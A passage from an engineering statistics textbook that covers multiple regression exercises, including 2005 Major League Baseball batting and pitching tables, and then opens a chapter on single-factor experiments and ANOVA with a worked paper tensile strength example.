x	1760	1770	1780	1790	1795

(a) Fit the model $Y = \beta_0 + \beta_1 x + \beta_2 x^2 + \epsilon$ using least squares.

(b) Test for significance of regression using $\alpha = 0.05$. What are your conclusions?

(c) Test the contribution of the quadratic term to the model, over the contribution of the linear term, using an F-statistic. If $\alpha = 0.05$, what conclusion can you draw?

(d) Plot the residuals from the model in part (a) versus $\hat{y}$. Does the plot reveal any inadequacies?

(e) Construct a normal probability plot of the residuals. Comment on the normality assumption.

12-101. Consider the jet engine thrust data in Exercise 12-96 and 12-97. Define the response and regressors as in Exercise 12-97.

(a) Use all possible regressions to select the best regression equation, where the model with the minimum value of MS_E is to be selected as "best."

(b) Repeat part (a) using the C_P criterion to identify the best equation.

(c) Use stepwise regression to select a subset regression model.

(d) Compare the models obtained in parts (a), (b), and (c) above.

(e) Consider the three-variable regression model. Calculate the variance inflation factors for this model. Would you conclude that multicollinearity is a problem in this model?

12-102. Consider the electronic inverter data in Exercise 12-98 and 12-99. Define the response and regressors variables as in Exercise 12-99, and delete the second observation in the sample.

(a) Use all possible regressions to find the equation that minimizes C_p.

(b) Use all possible regressions to find the equation that minimizes MS_E.

(c) Use stepwise regression to select a subset regression model.

(d) Compare the models you have obtained.

12-103. A multiple regression model was used to relate y = viscosity of a chemical product to x_1 = temperature and x_2 = reaction time. The data set consisted of $n = 15$ observations.

(a) The estimated regression coefficients were $\hat{\beta}_0 = 300.00$, $\hat{\beta}_1 = 0.85$, and $\hat{\beta}_2 = 10.40$. Calculate an estimate of mean viscosity when $x_1 = 100$°F and $x_2 = 2$ hours.

(b) The sums of squares were $SS_T = 1230.50$ and $SS_E = 120.30$. Test for significance of regression using $\alpha = 0.05$. What conclusion can you draw?

(c) What proportion of total variability in viscosity is accounted for by the variables in this model?

(d) Suppose that another regressor, x_3 = stirring rate, is added to the model. The new value of the error sum of squares is $SS_E = 117.20$. Has adding the new variable resulted in a smaller value of MS_E? Discuss the significance of this result.

(e) Calculate an F-statistic to assess the contribution of x_3 to the model. Using $\alpha = 0.05$, what conclusions do you reach?

12-104. Tables 12-23 and 12-24 present statistics for the Major League Baseball 2005 season (source: *The Sports Network*).

(a) Consider the batting data. Use model-building methods to predict *Wins* from the other variables. Check that the assumptions for your model are valid.

Table 12-23 Major League Baseball 2005 Season

	American League Batting													
Team	W	AVG	R	H	2B	3B	HR	RBI	BB	SO	SB	GIDP	LOB	OBP
Chicago	99	0.262	741	1450	253	23	200	713	435	1002	137	122	1032	0.322
Boston	95	0.281	910	1579	339	21	199	863	653	1044	45	135	1249	0.357
LA Angels	95	0.27	761	1520	278	30	147	726	447	848	161	125	1086	0.325
New York	95	0.276	886	1552	259	16	229	847	637	989	84	125	1264	0.355
Cleveland	93	0.271	790	1522	337	30	207	760	503	1093	62	128	1148	0.334
Oakland	88	0.262	772	1476	310	20	155	739	537	819	31	148	1170	0.33
Minnesota	83	0.259	688	1441	269	32	134	644	485	978	102	155	1109	0.323
Toronto	80	0.265	775	1480	307	39	136	735	486	955	72	126	1118	0.331
Texas	79	0.267	865	1528	311	29	260	834	495	1112	67	123	1104	0.329
Baltimore	74	0.269	729	1492	296	27	189	700	447	902	83	145	1103	0.327
Detroit	71	0.272	723	1521	283	45	168	678	384	1038	66	137	1077	0.321
Seattle	69	0.256	699	1408	289	34	130	657	466	986	102	115	1076	0.317
Tampa Bay	67	0.274	750	1519	289	40	157	717	412	990	151	133	1065	0.329
Kansas City	56	0.263	701	1445	289	34	126	653	424	1008	53	139	1062	0.32

	National League Batting													
Team	W	AVG	R	H	2B	3B	HR	RBI	BB	SO	SB	GIDP	LOB	OBP
St. Louis	100	0.27	805	1494	287	26	170	757	534	947	83	127	1152	0.339
Atlanta	90	0.265	769	1453	308	37	184	733	534	1084	92	146	1114	0.333
Houston	89	0.256	693	1400	281	32	161	654	481	1037	115	116	1136	0.322
Philadelphia	88	0.27	807	1494	282	35	167	760	639	1083	116	107	1251	0.348
Florida	83	0.272	717	1499	306	32	128	678	512	918	96	144	1181	0.339
New York	83	0.258	722	1421	279	32	175	683	486	1075	153	103	1122	0.322
San Diego	82	0.257	684	1416	269	39	130	655	600	977	99	122	1220	0.333
Milwaukee	81	0.259	726	1413	327	19	175	689	531	1162	79	137	1120	0.331
Washington	81	0.252	639	1367	311	32	117	615	491	1090	45	130	1137	0.322
Chicago	79	0.27	703	1506	323	23	194	674	419	920	65	131	1133	0.324
Arizona	77	0.256	696	1419	291	27	191	670	606	1094	67	132	1247	0.332
San Francisco	75	0.261	649	1427	299	26	128	617	431	901	71	147	1093	0.319
Cincinnati	73	0.261	820	1453	335	15	222	784	611	1303	72	116	1176	0.339
Los Angeles	71	0.253	685	1374	284	21	149	653	541	1094	58	139	1135	0.326
Colorado	67	0.267	740	1477	280	34	150	704	509	1103	65	125	1197	0.333
Pittsburgh	67	0.259	680	1445	292	38	139	656	471	1092	73	130	1193	0.322

Batting

W	Wins
AVG	Batting average
R	Runs
H	Hits
2B	Doubles
3B	Triples
HR	Home runs
RBI	Runs batted in
BB	Walks
SO	Strikeouts
SB	Stolen bases
GIDP	Grounded into double play
LOB	Left on base
OBP	On-base percentage

Pitching

ERA	Earned run average
SV	Saves
H	Hits
R	Runs
ER	Earned runs
HR	Home runs
BB	Walks
SO	Strikeouts
AVG	Opponent batting average

Table 12-24 Major League Baseball 2005 Season

	American League Pitching									
Team	W	ERA	SV	H	R	ER	HR	BB	SO	AVG
Chicago	99	3.61	54	1392	645	592	167	459	1040	0.249
Boston	95	4.74	38	1550	805	752	164	440	959	0.276
LA Angels	95	3.68	54	1419	643	598	158	443	1126	0.254
New York	95	4.52	46	1495	789	718	164	463	985	0.269
Cleveland	93	3.61	51	1363	642	582	157	413	1050	0.247
Oakland	88	3.69	38	1315	658	594	154	504	1075	0.241
Minnesota	83	3.71	44	1458	662	604	169	348	965	0.261
Toronto	80	4.06	35	1475	705	653	185	444	958	0.264
Texas	79	4.96	46	1589	858	794	159	522	932	0.279
Baltimore	74	4.56	38	1458	800	724	180	580	1052	0263
Detroit	71	4.51	37	1504	787	719	193	461	907	0.272
Seattle	69	4.49	39	1483	751	712	179	496	892	0.268
Tampa Bay	67	5.39	43	1570	936	851	194	615	949	0.28
Kansas City	56	5.49	25	1640	935	862	178	580	924	0.291

	National League Pitching									
Team	W	ERA	SV	H	R	ER	HR	BB	SO	AVG
St. Louis	100	3.49	48	1399	634	560	153	443	974	0.257
Atlanta	90	3.98	38	1487	674	639	145	520	929	0.268
Houston	89	3.51	45	1336	609	563	155	440	1164	0.246
Philadelphia	88	4.21	40	1379	726	672	189	487	1159	0.253
Florida	83	4.16	42	1459	732	666	116	563	1125	0.266
New York	83	3.76	38	1390	648	599	135	491	1012	0.255
San Diego	82	4.13	45	1452	726	668	146	503	1133	0.259
Milwaukee	81	3.97	46	1382	697	635	169	569	1173	0.251
Washington	81	3.87	51	1456	673	627	140	539	997	0.262
Chicago	79	4.19	39	1357	714	671	186	576	1256	0.25
Arizona	77	4.84	45	1580	856	783	193	537	1038	0.278
San Francisco	75	4.33	46	1456	745	695	151	592	972	0.263
Cincinnati	73	5.15	31	1657	889	820	219	492	955	0.29
Los Angeles	71	4.38	40	1434	755	695	182	471	1004	0.263
Colorado	67	5.13	37	1600	862	808	175	604	981	0.287
Pittsburgh	67	4.42	35	1456	769	706	162	612	958	0.267

Batting

W	Wins
AVG	Batting average
R	Runs
H	Hits
2B	Doubles
3B	Triples
HR	Home runs
RBI	Runs batted in
BB	Walks
SO	Strikeouts
SB	Stolen bases
GID	Grounded into double play
LOB	Left on base
OBP	On-base percentage

Pitching

ERA	Earned run average
SV	Saves
H	Hits
R	Runs
ER	Earned runs
HR	Home runs
BB	Walks
SO	Strikeouts
AVG	Opponent batting average

(b) Repeat part (a) for the pitching data.
(c) Use both the batting and pitching data to build a model to predict *Wins*. What variables are most important? Check that the assumptions for your model are valid.

12-105. An article in the *Journal of the American Ceramics Society* (1992, Vol. 75, pp. 112–116) describes a process for immobilizing chemical or nuclear wastes in soil by dissolving the contaminated soil into a glass block. The authors mix CaO and Na_2O with soil and model viscosity and electrical conductivity. The electrical conductivity model involves six regressors, and the sample consists of $n = 14$ observations.

(a) For the six-regressor model, suppose that $SS_T = 0.50$ and $R^2 = 0.94$. Find SS_E and SS_R, and use this information to test for significance of regression with $\alpha = 0.05$. What are your conclusions?
(b) Suppose that one of the original regressors is deleted from the model, resulting in $R^2 = 0.92$. What can you conclude about the contribution of the variable that was removed? Answer this question by calculating an F-statistic.
(c) Does deletion of the regressor variable in part (b) result in a smaller value of MS_E for the five-variable model, in comparison to the original six-variable model? Comment on the significance of your answer.

12-106. Exercise 12-5 introduced the hospital patient satisfaction survey data. One of the variables in that data set is a categorical variable indicating whether the patient is a medical patient or a surgical patient. Fit a model including this indicator variable to the data, using all three of the other regressors. Is there any evidence that the service the patient is on (medical versus surgical) has an impact on the reported satisfaction?

12-107. Consider the inverse model matrix shown below.

$$(\mathbf{X}'\mathbf{X})^{-1} = \begin{bmatrix} 0.125 & 0 & 0 & 0 \\ 0 & 0.125 & 0 & 0 \\ 0 & 0 & 0.125 & 0 \\ 0 & 0 & 0 & 0.125 \end{bmatrix}$$

(a) How many regressors are in this model?
(b) What was the sample size?
(c) Notice the special diagonal structure of the matrix. What does that tell you about the columns in the original $\mathbf{X}$ matrix?

MIND-EXPANDING EXERCISES

12-108. Consider a multiple regression model with k regressors. Show that the test statistic for significance of regression can be written as

$$F_0 = \frac{R^2/k}{(1 - R^2)/(n - k - 1)}$$

Suppose that $n = 20$, $k = 4$, and $R^2 = 0.90$. If $\alpha = 0.05$, what conclusion would you draw about the relationship between y and the four regressors?

12-109. A regression model is used to relate a response y to $k = 4$ regressors with $n = 20$. What is the smallest value of R^2 that will result in a significant regression if $\alpha = 0.05$? Use the results of the previous exercise. Are you surprised by how small the value of R^2 is?

12-110. Show that we can express the residuals from a multiple regression model as $\boldsymbol{e} = (\mathbf{I} - \mathbf{H})\mathbf{y}$, where $\mathbf{H} = \mathbf{X}(\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'$.

12-111. Show that the variance of the ith residual e_i in a multiple regression model is $\sigma^2(1 - h_{ii})$ and that the covariance between e_i and e_j is $-\sigma^2 h_{ij}$, where the h's are the elements of $\mathbf{H} = \mathbf{X}(\mathbf{X}\,\mathbf{X})^{-1}\mathbf{X}'$.

12-112. Consider the multiple linear regression model $\mathbf{y} = \mathbf{X}\boldsymbol{\beta} + \boldsymbol{\epsilon}$. If $\hat{\boldsymbol{\beta}}$ denotes the least squares estimator of $\boldsymbol{\beta}$, show that $\hat{\boldsymbol{\beta}} = \boldsymbol{\beta} + \mathbf{R}\boldsymbol{\epsilon}$, where $\mathbf{R} = (\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'$.

12-113. Constrained Least Squares. Suppose we wish to find the least squares estimator of $\boldsymbol{\beta}$ in the model $\mathbf{y} = \mathbf{X}\boldsymbol{\beta} + \boldsymbol{\epsilon}$ subject to a set of equality constraints, say, $\mathbf{T}\boldsymbol{\beta} = \mathbf{c}$.

(a) Show that the estimator is

$$\hat{\boldsymbol{\beta}}_c = \hat{\boldsymbol{\beta}} + (\mathbf{X}'\mathbf{X})^{-1} \times \mathbf{T}'[\mathbf{T}(\mathbf{X}'\mathbf{X})^{-1}\mathbf{T}']^{-1}(\mathbf{c} - \mathbf{T}\hat{\boldsymbol{\beta}})$$

where $\hat{\boldsymbol{\beta}} = (\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'\mathbf{y}$.
(b) Discuss situations where this model might be appropriate.

12-114. Piecewise Linear Regression. Suppose that y is piecewise linearly related to x. That is, different linear relationships are appropriate over the intervals $-\infty < x \le x^*$ and $x^* < x < \infty$.

(a) Show how indicator variables can be used to fit such a piecewise linear regression model, assuming that the point x^* is known.
(b) Suppose that at the point x^* a discontinuity occurs in the regression function. Show how indicator variables can be used to incorporate the discontinuity into the model.
(c) Suppose that the point x^* is not known with certainty and must be estimated. Suggest an approach that could be used to fit the piecewise linear regression model.

IMPORTANT TERMS AND CONCEPTS

All possible regressions
Analysis of variance test in multiple regression
Categorical variables
Confidence interval on the mean response
Cp statistic
Extra sum of squares method
Hidden extrapolation
Indicator variables
Inference (test and intervals) on individual model parameters
Influential observations
Model parameters and their interpretation in multiple regression
Multicollinearity
Multiple Regression
Outliers
Polynomial regression model
Prediction interval on a future observation
PRESS statistic
Residual analysis and model adequacy checking
Significance of regression
Stepwise regression and related methods
Variance Inflation Factor (VIF)

13

© Vasko Miokovic/iStockphoto

Design and Analysis of Single-Factor Experiments: The Analysis of Variance

Experiments are a natural part of the engineering and scientific decision-making process. Suppose, for example, that a civil engineer is investigating the effects of different curing methods on the mean compressive strength of concrete. The experiment would consist of making up several test specimens of concrete using each of the proposed curing methods and then testing the compressive strength of each specimen. The data from this experiment could be used to determine which curing method should be used to provide maximum mean compressive strength.

If there are only two curing methods of interest, this experiment could be designed and analyzed using the statistical hypothesis methods for two samples introduced in Chapter 10. That is, the experimenter has a single **factor** of interest—curing methods—and there are only two **levels** of the factor. If the experimenter is interested in determining which curing method produces the maximum compressive strength, the number of specimens to test can be determined from the operating characteristic curves in Appendix Chart VII, and the *t*-test can be used to decide if the two means differ.

Many single-factor experiments require that more than two levels of the factor be considered. For example, the civil engineer may want to investigate five different curing methods. In this chapter we show how the **analysis of variance** (frequently abbreviated ANOVA) can be used for comparing means when there are more than two levels of a single factor. We will also discuss **randomization** of the experimental runs and the important role this concept plays in the overall experimentation strategy. In the next chapter, we will show how to design and analyze experiments with several factors.

CHAPTER OUTLINE

13-1 DESIGNING ENGINEERING EXPERIMENTS

13-2 COMPLETELY RANDOMIZED SINGLE-FACTOR EXPERIMENT

- 13-2.1 Example: Tensile Strength
- 13-2.2 Analysis of Variance
- 13-2.3 Multiple Comparisons Following the ANOVA
- 13-2.4 Residual Analysis and Model Checking
- 13-2.5 Determining Sample Size

13-3 THE RANDOM-EFFECTS MODEL

- 13-3.1 Fixed Versus Random Factors
- 13-3.2 ANOVA and Variance Components

13-4 RANDOMIZED COMPLETE BLOCK DESIGN

- 13-4.1 Design and Statistical Analysis
- 13-4.2 Multiple Comparisons
- 13-4.3 Residual Analysis and Model Checking

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Design and conduct engineering experiments involving a single factor with an arbitrary number of levels**
2. **Understand how the analysis of variance is used to analyze the data from these experiments**
3. **Assess model adequacy with residual plots**
4. **Use multiple comparison procedures to identify specific differences between means**
5. **Make decisions about sample size in single-factor experiments**
6. **Understand the difference between fixed and random factors**
7. **Estimate variance components in an experiment involving random factors**
8. **Understand the blocking principle and how it is used to isolate the effect of nuisance factors**
9. **Design and conduct experiments involving the randomized complete block design**

13-1 DESIGNING ENGINEERING EXPERIMENTS

Statistically based experimental design techniques are particularly useful in the engineering world for solving many important problems: discovery of new basic phenomena that can lead to new products, and commercialization of new technology including new product development, new process development, and improvement of existing products and processes. For example, consider the development of a new process. Most processes can be described in terms of several **controllable variables,** such as temperature, pressure, and feed rate. By using designed experiments, engineers can determine which subset of the process variables has the greatest influence on process performance. The results of such an experiment can lead to

- Improved process yield
- Reduced variability in the process and closer conformance to nominal or target requirements
- Reduced design and development time
- Reduced cost of operation

Experimental design methods are also useful in **engineering design** activities, where new products are developed and existing ones are improved. Some typical applications of statistically designed experiments in engineering design include

- Evaluation and comparison of basic design configurations
- Evaluation of different materials
- Selection of design parameters so that the product will work well under a wide variety of field conditions (or so that the design will be robust)
- Determination of key product design parameters that affect product performance

The use of experimental design in the engineering design process can result in products that are easier to manufacture, products that have better field performance and reliability than their competitors, and products that can be designed, developed, and produced in less time.

Designed experiments are usually employed **sequentially.** That is, the first experiment with a complex system (perhaps a manufacturing process) that has many controllable variables is often a **screening experiment** designed to determine which variables are most important. Subsequent experiments are used to refine this information and determine which adjustments to these critical variables are required to improve the process. Finally, the objective of the experimenter is optimization, that is, to determine which levels of the critical variables result in the best process performance.

Every experiment involves a sequence of activities:

1. **Conjecture**—the original hypothesis that motivates the experiment.
2. **Experiment**—the test performed to investigate the conjecture.
3. **Analysis**—the statistical analysis of the data from the experiment.
4. **Conclusion**—what has been learned about the original conjecture from the experiment. Often the experiment will lead to a revised conjecture, and a new experiment, and so forth.

The statistical methods introduced in this chapter and Chapter 14 are essential to good experimentation. **All experiments are designed experiments;** unfortunately, some of them are poorly designed, and as a result, valuable resources are used ineffectively. Statistically designed experiments permit efficiency and economy in the experimental process, and the use of statistical methods in examining the data results in **scientific objectivity** when drawing conclusions.

13-2 COMPLETELY RANDOMIZED SINGLE-FACTOR EXPERIMENT

13-2.1 Example: Tensile Strength

A manufacturer of paper used for making grocery bags is interested in improving the tensile strength of the product. Product engineering thinks that tensile strength is a function of the hardwood concentration in the pulp and that the range of hardwood concentrations of practical interest is between 5 and 20%. A team of engineers responsible for the study decides to investigate four levels of hardwood concentration: 5%, 10%, 15%, and 20%. They decide to make up six test specimens at each concentration level, using a pilot plant. All 24 specimens are tested on a laboratory tensile tester, in random order. The data from this experiment are shown in Table 13-1.

This is an example of a completely randomized single-factor experiment with four levels of the factor. The levels of the factor are sometimes called **treatments,** and each treatment has six observations or **replicates.** The role of **randomization** in this experiment is extremely

Table 13-1 Tensile Strength of Paper (psi)

Hardwood Concentration (%)	Observations 1	2	3	4	5	6	Totals	Averages
5	7	8	15	11	9	10	60	10.00
10	12	17	13	18	19	15	94	15.67
15	14	18	19	17	16	18	102	17.00
20	19	25	22	23	18	20	127	21.17
							383	15.96

important. By randomizing the order of the 24 runs, the effect of any nuisance variable that may influence the observed tensile strength is approximately balanced out. For example, suppose that there is a warm-up effect on the tensile testing machine; that is, the longer the machine is on, the greater the observed tensile strength. If all 24 runs are made in order of increasing hardwood concentration (that is, all six 5% concentration specimens are tested first, followed by all six 10% concentration specimens, etc.), any observed differences in tensile strength could also be due to the warm-up effect. The role of randomization to identify causality was discussed in Section 10-1.

It is important to graphically analyze the data from a designed experiment. Figure 13-1(a) presents box plots of tensile strength at the four hardwood concentration levels. This figure indicates that changing the hardwood concentration has an effect on tensile strength; specifically, higher hardwood concentrations produce higher observed tensile strength. Furthermore, the distribution of tensile strength at a particular hardwood level is reasonably symmetric, and the variability in tensile strength does not change dramatically as the hardwood concentration changes.

Graphical interpretation of the data is always useful. Box plots show the variability of the observations *within* a treatment (factor level) and the variability *between* treatments. We now discuss how the data from a single-factor randomized experiment can be analyzed statistically.

Figure 13-1 (a) Box plots of hardwood concentration data. (b) Display of the model in Equation 13-1 for the completely randomized single-factor experiment.

13-2.2 Analysis of Variance

Suppose we have a different levels of a single factor that we wish to compare. Sometimes, each factor level is called a **treatment,** a very general term that can be traced to the early applications of experimental design methodology in the agricultural sciences. The **response** for each of the a treatments is a random variable. The observed data would appear as shown in Table 13-2. An entry in Table 13-2, say y_{ij}, represents the jth observation taken under treatment i. We initially consider the case in which there are an equal number of observations, n, on each treatment.

We may describe the observations in Table 13-2 by the **linear statistical model**

$$Y_{ij} = \mu + \tau_i + \epsilon_{ij} \begin{cases} i = 1, 2, \ldots, a \\ j = 1, 2, \ldots, n \end{cases} \tag{13-1}$$

where Y_{ij} is a random variable denoting the (ij)th observation, μ is a parameter common to all treatments called the **overall mean,** τ_i is a parameter associated with the ith treatment called the ith **treatment effect,** and ϵ_{ij} is a random error component. Notice that the model could have been written as

$$Y_{ij} = \mu_i + \epsilon_{ij} \begin{cases} i = 1, 2, \ldots, a \\ j = 1, 2, \ldots, n \end{cases}$$

where $\mu_i = \mu + \tau_i$ is the mean of the ith treatment. In this form of the model, we see that each treatment defines a population that has mean μ_i, consisting of the overall mean μ plus an effect τ_i that is due to that particular treatment. We will assume that the errors ϵ_{ij} are normally and independently distributed with mean zero and variance σ^2. Therefore, each treatment can be thought of as a normal population with mean μ_i and variance σ^2. See Fig. 13-1(b).

Equation 13-1 is the underlying model for a single-factor experiment. Furthermore, since we require that the observations are taken in random order and that the environment (often called the experimental units) in which the treatments are used is as uniform as possible, this experimental design is called a **completely randomized design (CRD).**

The a factor levels in the experiment could have been chosen in two different ways. First, the experimenter could have specifically chosen the a treatments. In this situation, we wish to test hypotheses about the treatment means, and conclusions cannot be extended to similar treatments that were not considered. In addition, we may wish to estimate the treatment effects. This is called the **fixed-effects model.** Alternatively, the a treatments could be a random sample from a larger population of treatments. In this situation, we would like to be able to extend the conclusions (which are based on the sample of treatments) to all treatments in the population, whether or not they were explicitly considered in the experiment. Here the treatment effects τ_i are random variables, and knowledge about the particular ones investigated is relatively

Table 13-2 Typical Data for a Single-Factor Experiment

Treatment	Observations				Totals	Averages
1	y_{11}	y_{12}	$\cdots$	y_{1n}	$y_{1\cdot}$	$\bar{y}_{1\cdot}$
2	y_{21}	y_{22}	$\cdots$	y_{2n}	$y_{2\cdot}$	$\bar{y}_{2\cdot}$
$\vdots$	$\vdots$	$\vdots$	$\vdots\vdots\vdots$	$\vdots$	$\vdots$	$\vdots$
a	y_{a1}	y_{a2}	$\cdots$	y_{an}	$y_{a\cdot}$	$\bar{y}_{a\cdot}$
					$y_{\cdot\cdot}$	$\bar{y}_{\cdot\cdot}$

unimportant. Instead, we test hypotheses about the variability of the τ_i and try to estimate this variability. This is called the **random effects,** or **components of variance,** model.

In this section we develop the **analysis of variance** for the fixed-effects model. The analysis of variance is not new to us; it was used previously in the presentation of regression analysis. However, in this section we show how it can be used to test for equality of treatment effects. In the fixed-effects model, the treatment effects τ_i are usually defined as deviations from the overall mean μ, so that

$$\sum_{i=1}^{a} \tau_i = 0 \tag{13-2}$$

Let $y_{i\cdot}$ represent the total of the observations under the ith treatment and $\bar{y}_{i\cdot}$ represent the average of the observations under the ith treatment. Similarly, let $y_{\cdot\cdot}$ represent the grand total of all observations and $\bar{y}_{\cdot\cdot}$ represent the grand mean of all observations. Expressed mathematically,

$$y_{i\cdot} = \sum_{j=1}^{n} y_{ij} \qquad \bar{y}_{i\cdot} = y_{i\cdot}/n \qquad i = 1, 2, \ldots, a$$

$$y_{\cdot\cdot} = \sum_{i=1}^{a} \sum_{j=1}^{n} y_{ij} \qquad \bar{y}_{\cdot\cdot} = y_{\cdot\cdot}/N \tag{13-3}$$

where $N = an$ is the total number of observations. Thus, the "dot" subscript notation implies summation over the subscript that it replaces.

We are interested in testing the equality of the a treatment means $\mu_1, \mu_2, \ldots, \mu_a$. Using Equation 13-2, we find that this is equivalent to testing the hypotheses

$$\begin{aligned} &H_0: \tau_1 = \tau_2 = \cdots = \tau_a = 0 \\ &H_1: \tau_i \neq 0 \quad \text{for at least one } i \end{aligned} \tag{13-4}$$

Thus, if the null hypothesis is true, each observation consists of the overall mean μ plus a realization of the random error component ϵ_{ij}. This is equivalent to saying that all N observations are taken from a normal distribution with mean μ and variance σ^2. Therefore, if the null hypothesis is true, changing the levels of the factor has no effect on the mean response.

The ANOVA partitions the total variability in the sample data into two component parts. Then, the test of the hypothesis in Equation 13-4 is based on a comparison of two independent estimates of the population variance. The total variability in the data is described by the **total sum of squares**

$$SS_T = \sum_{i=1}^{a} \sum_{j=1}^{n} (y_{ij} - \bar{y}_{\cdot\cdot})^2$$

The partition of the total sum of squares is given in the following definition.

ANOVA Sum of Squares Identity: Single Factor Experiment

The **sum of squares identity** is

$$\sum_{i=1}^{a} \sum_{j=1}^{n} (y_{ij} - \bar{y}_{\cdot\cdot})^2 = n \sum_{i=1}^{a} (\bar{y}_{i\cdot} - \bar{y}_{\cdot\cdot})^2 + \sum_{i=1}^{a} \sum_{j=1}^{n} (y_{ij} - \bar{y}_{i\cdot})^2 \tag{13-5}$$

or symbolically

$$SS_T = SS_{\text{Treatments}} + SS_E \tag{13-6}$$

The identity in Equation 13-5 shows that the total variability in the data, measured by the total corrected sum of squares SS_T, can be partitioned into a sum of squares of differences between treatment means and the grand mean denoted $SS_{\text{Treatments}}$ and a sum of squares of differences of observations within a treatment from the treatment mean denoted SS_E. Differences between observed treatment means and the grand mean measure the differences between treatments, while differences of observations within a treatment from the treatment mean can be due only to random error.

We can gain considerable insight into how the analysis of variance works by examining the expected values of $SS_{\text{Treatments}}$ and SS_E. This will lead us to an appropriate statistic for testing the hypothesis of no differences among treatment means (or all $\tau_i = 0$).

Expected Values of Sums of Squares: Single Factor Experiment

The expected value of the treatment sum of squares is

$$E(SS_{\text{Treatments}}) = (a-1)\sigma^2 + n\sum_{i=1}^{a}\tau_i^2$$

and the expected value of the error sum of squares is

$$E(SS_E) = a(n-1)\sigma^2$$

There is also a partition of the number of degrees of freedom that corresponds to the sum of squares identity in Equation 13-5. That is, there are $an = N$ observations; thus, SS_T has $an - 1$ degrees of freedom. There are a levels of the factor, so $SS_{\text{Treatments}}$ has $a - 1$ degrees of freedom. Finally, within any treatment there are n replicates providing $n - 1$ degrees of freedom with which to estimate the experimental error. Since there are a treatments, we have $a(n-1)$ degrees of freedom for error. Therefore, the degrees of freedom partition is

$$an - 1 = a - 1 + a(n-1)$$

The ratio

$$MS_{\text{Treatments}} = SS_{\text{Treatments}}/(a-1)$$

is called the **mean square for treatments.** Now if the null hypothesis H_0: $\tau_1 = \tau_2 = \cdots = \tau_a = 0$ is true, $MS_{\text{Treatments}}$ is an unbiased estimator of σ^2 because $\sum_{i=1}^{a}\tau_i = 0$. However, if H_1 is true, $MS_{\text{Treatments}}$ estimates σ^2 plus a positive term that incorporates variation due to the systematic difference in treatment means.

Note that the **error mean square**

$$MS_E = SS_E/[a(n-1)]$$

is an unbiased estimator of σ^2 regardless of whether or not H_0 is true. We can also show that $MS_{\text{Treatments}}$ and MS_E are independent. Consequently, we can show that if the null hypothesis H_0 is true, the ratio

ANOVA *F*-Test

$$F_0 = \frac{SS_{\text{Treatments}}/(a-1)}{SS_E/[a(n-1)]} = \frac{MS_{\text{Treatments}}}{MS_E} \tag{13-7}$$

has an F-distribution with $a - 1$ and $a(n - 1)$ degrees of freedom. Furthermore, from the expected mean squares, we know that MS_E is an unbiased estimator of σ^2. Also, under the null hypothesis, $MS_{\text{Treatments}}$ is an unbiased estimator of σ^2. However, if the null hypothesis is false, the expected value of $MS_{\text{Treatments}}$ is greater than σ^2. Therefore, under the alternative hypothesis, the expected value of the numerator of the test statistic (Equation 13-7) is greater than the expected value of the denominator. Consequently, we should reject H_0 if the statistic is large. This implies an upper-tail, one-tail critical region. Therefore, we would reject H_0 if $f_0 > f_{\alpha, a-1, a(n-1)}$ where f_0 is the computed value of F_0 from Equation 13-7.

Efficient computational formulas for the sums of squares may be obtained by expanding and simplifying the definitions of $SS_{\text{Treatments}}$ and SS_T. This yields the following results.

Computing Formulas for ANOVA: Single Factor with Equal Sample Sizes

The sums of squares computing formulas for the ANOVA with equal sample sizes in each treatment are

$$SS_T = \sum_{i=1}^{a} \sum_{j=1}^{n} y_{ij}^2 - \frac{y_{..}^2}{N} \tag{13-8}$$

and

$$SS_{\text{Treatments}} = \sum_{i=1}^{a} \frac{y_{i.}^2}{n} - \frac{y_{..}^2}{N} \tag{13-9}$$

The error sum of squares is obtained by subtraction as

$$SS_E = SS_T - SS_{\text{Treatments}} \tag{13-10}$$

The computations for this test procedure are usually summarized in tabular form as shown in Table 13-3. This is called an **analysis of variance** (or **ANOVA**) **table.**

EXAMPLE 13-1 Tensile Strength ANOVA

Consider the paper tensile strength experiment described in Section 13-2.1. This experiment is a CRD. We can use the analysis of variance to test the hypothesis that different hardwood concentrations do not affect the mean tensile strength of the paper.

The hypotheses are

$$H_0: \tau_1 = \tau_2 = \tau_3 = \tau_4 = 0$$
$$H_1: \tau_i \neq 0 \text{ for at least one } i$$

We will use $\alpha = 0.01$. The sums of squares for the analysis of variance are computed from Equations 13-8, 13-9, and 13-10 as follows:

$$SS_T = \sum_{i=1}^{4} \sum_{j=1}^{6} y_{ij}^2 - \frac{y_{..}^2}{N}$$
$$= (7)^2 + (8)^2 + \cdots + (20)^2 - \frac{(383)^2}{24} = 512.96$$

Table 13-3 The Analysis of Variance for a Single-Factor Experiment, Fixed-Effects Model

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	F_0
Treatments	$SS_{\text{Treatments}}$	$a - 1$	$MS_{\text{Treatments}}$	$\frac{MS_{\text{Treatments}}}{MS_E}$
Error	SS_E	$a(n - 1)$	MS_E	
Total	SS_T	$an - 1$		

Table 13-4 ANOVA for the Tensile Strength Data

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-value
Hardwood					
concentration	382.79	3	127.60	19.60	3.59 E-6
Error	130.17	20	6.51		
Total	512.96	23			

$$
\begin{aligned}
SS_{\text{Treatments}} &= \sum_{i=1}^{4} \frac{y_{i\cdot}^2}{n} - \frac{y_{\cdot\cdot}^2}{N} \\
&= \frac{(60)^2 + (94)^2 + (102)^2 + (127)^2}{6} - \frac{(383)^2}{24} \\
&= 382.79 \\
SS_E &= SS_T - SS_{\text{Treatments}} \\
&= 512.96 - 382.79 = 130.17
\end{aligned}
$$

The ANOVA is summarized in Table 13-4. Since $f_{0.01,3,20} = 4.94$, we reject H_0 and conclude that hardwood concentration in the pulp significantly affects the mean strength of the paper. We can also find a P-value for this test statistic as follows:

$$P = P(F_{3,20} > 19.60) \simeq 3.59 \times 10^{-6}$$

Since $P \simeq 3.59 \times 10^{-6}$ is considerably smaller than $\alpha = 0.01$, we have strong evidence to conclude that H_0 is not true.

Practical Interpretation: There is strong evidence to conclude that hardwood concentration has an effect on tensile strength. However, the ANOVA does not tell as which levels of hardwood concentration result in different tensile strength means. We will see how to answer this question below.

Minitab Output

Many software packages have the capability to analyze data from designed experiments using the analysis of variance. Table 13-5 presents the output from the Minitab one-way analysis of variance routine for the paper tensile strength experiment in Example 13-1. The results agree closely with the manual calculations reported previously in Table 13-4.

